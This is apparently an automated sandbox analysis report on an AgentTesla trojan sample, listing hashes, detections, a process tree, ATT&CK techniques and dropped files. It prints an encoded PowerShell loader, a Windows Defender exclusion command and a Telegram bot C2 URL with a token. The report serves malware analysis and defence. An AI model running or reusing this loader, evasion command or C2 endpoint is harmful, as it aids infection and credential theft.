Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 02:08

General

  • Target

    b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe

  • Size

    986KB

  • MD5

    4d69a6b1a835e13d9399fc7a3fcd1c7f

  • SHA1

    dabeb84fb579d1b1fd8efffd3f75ec5e5d5c6297

  • SHA256

    b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212

  • SHA512

    01900903b402511922c3d3a3eac3b217f49c19e6f245ac250f01614cc3b7f89975f412a96c648c48c8b1641cf5af61707d0261f4656ce48f3a8739436102d59b

  • SSDEEP

    12288:67t9TgXF/OHYMhHQy9J9cv2N3TApMDcMs9cs46uxDscaK7JGfhJef98WXRAEz1T+:67btH9iyd90pMDRRuvQJKQfGwaERT5E

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot6471994916:AAHkdjLXxo_sOhOEXeFpgGf4NrHiZGX6HD8/

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • Detect packed .NET executables. Mostly AgentTeslaV4. 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs
  • Detects executables packed with or use KoiVM 1 IoCs
  • Detects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs
  • Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs
  • Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs
  • Detects executables referencing many file transfer clients. Observed in information stealers 1 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe
    "C:\Users\Admin\AppData\Local\Temp\b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADYAOAAsACAAMAB4ADYANwAsACAAMAB4AEIARQAsACAAMAB4ADcAQQAsACAAMAB4ADIAMwAsACAAMAB4ADUAOQAsACAAMAB4ADAAMQAsACAAMAB4ADcAQgAsACAAMAB4ADEAOAAsACAAMAB4AEMANwAsACAAMAB4AEUANwAsACAAMAB4AEYANgAsACAAMAB4AEYAMgAsACAAMAB4ADUARAAsACAAMAB4ADEAMwAsACAAMAB4AEEAMgAsACAAMAB4AEMANwAsACAAMAB4ADQAMAAsACAAMAB4AEEARQAsACAAMAB4AEEANwAsACAAMAB4ADMAMwAsACAAMAB4AEQAQQAsACAAMAB4ADYAOAAsACAAMAB4ADAAOQAsACAAMAB4ADYANAAsACAAMAB4ADYANQAsACAAMAB4AEEAOAAsACAAMAB4ADAAQgAsACAAMAB4ADAAMgAsACAAMAB4ADAARQAsACAAMAB4ADQANAAsACAAMAB4ADYAQwApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA0ADUALAAgADAAeAA1AEUALAAgADAAeAA2ADEALAAgADAAeAA3ADQALAAgADAAeABBADgALAAgADAAeAA4AEMALAAgADAAeAAwADUALAAgADAAeAAzAEMALAAgADAAeAAzADYALAAgADAAeAAzADcALAAgADAAeABCAEMALAAgADAAeAAxADMALAAgADAAeAA4AEYALAAgADAAeABCADMALAAgADAAeAA2AEMALAAgADAAeAA4AEEAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
      2⤵
      • UAC bypass
      • Windows security bypass
      • Looks for VirtualBox Guest Additions in registry
      • Command and Scripting Interpreter: PowerShell
      • Looks for VMWare Tools registry key
      • Checks BIOS information in registry
      • Maps connected drives based on registry
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2460
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe" -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:540
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
        3⤵
          PID:4480
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2360
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
          3⤵
            PID:4548

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Execution

      Command and Scripting Interpreter

      1
      T1059

      PowerShell

      1
      T1059.001

      Privilege Escalation

      Abuse Elevation Control Mechanism

      1
      T1548

      Bypass User Account Control

      1
      T1548.002

      Defense Evasion

      Abuse Elevation Control Mechanism

      1
      T1548

      Bypass User Account Control

      1
      T1548.002

      Impair Defenses

      2
      T1562

      Disable or Modify Tools

      2
      T1562.001

      Modify Registry

      2
      T1112

      Virtualization/Sandbox Evasion

      2
      T1497

      Discovery

      Query Registry

      4
      T1012

      Virtualization/Sandbox Evasion

      2
      T1497

      System Information Discovery

      2
      T1082

      Peripheral Device Discovery

      1
      T1120

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z4wcmniu.ng3.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\file-21021.putik
        Filesize

        33KB

        MD5

        7bcc1c9dcb3f70c39e7c0ba4af126a17

        SHA1

        8f03d5db806837d8c6d7d1de7288ab053c906bd0

        SHA256

        3c6163c8469b5df10422d7578e276b44cfb2b18e3c19cb09303dd1a4864435bf

        SHA512

        537ce66f91aeda2b66495857434900a2040008c466764ad50f07515c137f3a5502c2a079a8d72ae49651f238869ef55005a3229e226c141ba01713e39eac3d3a

      • memory/540-32-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp
        Filesize

        10.8MB

      • memory/540-17-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp
        Filesize

        10.8MB

      • memory/540-27-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp
        Filesize

        10.8MB

      • memory/540-28-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp
        Filesize

        10.8MB

      • memory/2360-33-0x00000000056C0000-0x0000000005C64000-memory.dmp
        Filesize

        5.6MB

      • memory/2360-38-0x00000000067A0000-0x00000000067AA000-memory.dmp
        Filesize

        40KB

      • memory/2360-37-0x0000000006610000-0x00000000066A2000-memory.dmp
        Filesize

        584KB

      • memory/2360-36-0x0000000006520000-0x0000000006570000-memory.dmp
        Filesize

        320KB

      • memory/2360-34-0x0000000005110000-0x0000000005176000-memory.dmp
        Filesize

        408KB

      • memory/2360-29-0x0000000000400000-0x0000000000442000-memory.dmp
        Filesize

        264KB

      • memory/2460-16-0x000002777E140000-0x000002777E1D4000-memory.dmp
        Filesize

        592KB

      • memory/2460-1-0x00007FFA95CA3000-0x00007FFA95CA5000-memory.dmp
        Filesize

        8KB

      • memory/2460-12-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp
        Filesize

        10.8MB

      • memory/2460-35-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp
        Filesize

        10.8MB

      • memory/2460-15-0x000002777DC60000-0x000002777DC6C000-memory.dmp
        Filesize

        48KB

      • memory/2460-7-0x000002777DC70000-0x000002777DC92000-memory.dmp
        Filesize

        136KB

      • memory/2460-13-0x00007FFA95CA0000-0x00007FFA96761000-memory.dmp
        Filesize

        10.8MB